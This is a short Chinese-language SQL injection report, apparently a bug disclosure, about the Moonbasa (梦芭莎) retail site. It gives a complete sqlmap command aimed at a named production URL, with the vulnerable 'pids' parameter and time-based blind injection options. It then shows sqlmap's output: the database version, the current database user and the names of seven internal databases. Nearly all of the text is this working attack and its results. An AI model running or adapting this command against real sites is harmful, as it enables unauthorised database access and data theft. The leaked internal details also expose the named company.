梦芭莎SQL注入

梦芭莎SQL注射,延迟注入

sqlmap.py -u "http://etl.moonbasa.com/recommend.aspx?callback=jQuery17

0992754654353016_1403935339797&method=viewbuy&model=1&pageno=1&pagesize=5&uid=user123&methodtype=history&pids=013413203&cid=cust123&bycategory=False&filterkit=f

alse&filternoqty=true&filterseason=true&filterabroad=false&productinfo=full&imag

esize=m&_=1403935352811" -p pids --random-agent --time-sec 6 --no-cast --current

-user --dbs --tables



back-end DBMS: MySQL 5.0.11

current user: 'moonbasa@%'

available databases [7]:

[*] bak

[*] hive

[*] information_

[*] mysql

[*] perfA

[*] recommendationengine

[*] tmp